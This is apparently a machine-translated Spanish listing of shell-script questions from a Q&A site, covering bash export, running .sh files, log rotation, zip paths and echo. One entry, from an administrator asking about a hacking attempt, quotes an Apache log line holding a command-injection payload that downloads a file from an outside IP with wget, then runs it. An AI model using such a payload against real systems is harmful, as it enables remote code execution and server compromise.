Preguntas etiquetadas con shell-script

Un script de shell es un script escrito para el intérprete de shell o intérprete de línea de comando de un sistema operativo.




3
¿Qué hace la exportación en BASH? [duplicar]
Posible duplicado: diferencia entre "a = b" y "exportar a = b" en bash Es difícil de admitir, pero nunca he entendido realmente qué exporthace exactamente a una variable de entorno. Sé que si no exporto una variable, a veces no puedo verla en los procesos secundarios, pero a veces …

15
¿Cómo ejecutar el archivo .sh en Windows?
Cuando intento ejecutar un archivo (nombre.sh) en la línea de comando con el comando ./name.sh, recibo el error de que: "." no se reconoce como un comando interno o externo, archivo operable o por lotes por favor ayúdame a ejecutar el archivo .sh


9
Registro de rotación de stdout?
Tengo un programa de Linux que puede escribir información en stdout y stderr. Tengo un script de shell que redirige esa salida a un archivo /var/log. (Vía >>y 2>&1.) ¿Hay alguna manera de hacer que ese archivo de registro gire? (tamaño máximo, luego cambie a un archivo diferente, mantenga solo …

3
Evite la ruta no deseada en el archivo Zip
Estoy haciendo un script de shell para empaquetar algunos archivos. Estoy comprimiendo un directorio como este: zip -r /Users/me/development/something/out.zip /Users/me/development/something/folder/ El problema es que el archivo resultante out.zip tiene la ruta completa del archivo. Es decir, cuando se descomprime, tendrá toda la ruta "/ Users / me / development / …
49 macos  bash  zip  path  shell-script 


2
¿Qué hace este script bash? [Intento de pirateo]
He estado notando en mis servidores registros de apache, las siguientes líneas extrañas últimamente: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0" Así que hice un filtro Fail2Ban personalizado y comencé a prohibir las direcciones IP que solicitaban estas URL /login.cgi. Pero tenía curiosidad por saber …

2
¿Qué tiene de malo “echo $ (cosas)” o “echo` cosas` ”?
Usé uno de los siguientes echo $(stuff) echo `stuff` (donde stuffes, por ejemplo pwd, o dateo algo más complicado). Entonces me dijeron que esta sintaxis es incorrecta, una mala práctica, no elegante, excesiva, redundante, demasiado complicada, una programación de culto de carga, novato, ingenuo, etc. Sin embargo, el comando hace …
31 shell-script  sh  echo 


2
El script de Shell repite una nueva línea para presentar
Quiero hacer eco de una nueva línea a un archivo entre variables en un script de shell. Aquí está mi código: var1 = "Hola" var2 = "Mundo!" logwrite = "$ var1 [Aquí es donde quiero insertar una nueva línea] $ var2 echo "$ logwrite" >> /Users/username/Desktop/user.txt En este momento, cuando …


3
Cómo actualizar bash en Mac OS X Yosemite
Solo trato de aprender un poco las secuencias de comandos bash. Mi vieja versión bash: Bash version 3.2.53(1)-release... He actualizado mi bash en mac os x yosemite con homebrew: brew update brew install bash Luego, en las propiedades del terminal, cambié la ruta estándar del shell de /bin/basha /usr/local/bin/bash(Según tengo …

Al usar nuestro sitio, usted reconoce que ha leído y comprende nuestra Política de Cookies y Política de Privacidad.
Licensed under cc by-sa 3.0 with attribution required.